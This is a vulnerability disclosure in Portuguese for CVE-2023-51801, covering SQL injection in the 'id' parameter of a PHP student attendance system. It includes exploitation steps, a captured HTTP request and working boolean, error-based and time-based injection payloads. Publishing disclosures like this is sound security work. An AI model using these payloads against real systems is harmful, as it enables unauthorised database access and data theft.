geraldoalcantara/cve-2023-51801Sistema Simples de Presença de Alunos v.1.0 - Múltiplas vulnerabilidades de injeção SQL - student_form.php e class_form.php
Descrição: O Simple Student Attendance System v.1.0 é propenso a múltiplas vulnerabilidades de injeção SQL que podem ser exploradas por atacantes autenticados. Essas vulnerabilidades existem em student_form.php e class_form.php, permitindo a execução de comandos SQL arbitrários através do parâmetro 'id'.
Versão do produto vulnerável: Simple Student Attendance System v.1.0
Autor do CVE: Geraldo Alcântara
Data: 29/11/2023
Confirmado em: 10/01/2024
CVE: CVE-2023-51801
Link do CVE: https://www.cve.org/CVERecord?id=CVE-2023-51801
Link NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-51801
Link Tenable: https://www.tenable.com/cve/CVE-2023-51801
Testado em: Windows
Para explorar essa vulnerabilidade, um atacante precisa navegar até as páginas 'Aluno' ou 'Turmas', onde pode prosseguir para editar ou adicionar um aluno ou turma. A carga maliciosa deve então ser inserida no parâmetro 'id'. :
Componentes: student_form.php e class_form.php
Parâmetro: id
POST /php-attendance/modals/class_form.php HTTP/1.1
Host: 192.168.68.182
Cookie: PHPSESSID=emhqgom5shgrtcii7p3a8ad1bo
Content-Length: 4
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.68.182
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.68.182/php-attendance/?page=class_list
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=1, i
Connection: close
id=1'
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1''' AND 4206=4206-- KDFY
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1''' OR (SELECT 1707 FROM(SELECT COUNT(*),CONCAT(0x716a6a7071,(SELECT (ELT(1707=1707,1))),0x717a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- xsae
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1''' AND (SELECT 1288 FROM (SELECT(SLEEP(5)))SVhp)-- EYkh
Descobridor(es)/Créditos:
Geraldo Alcântara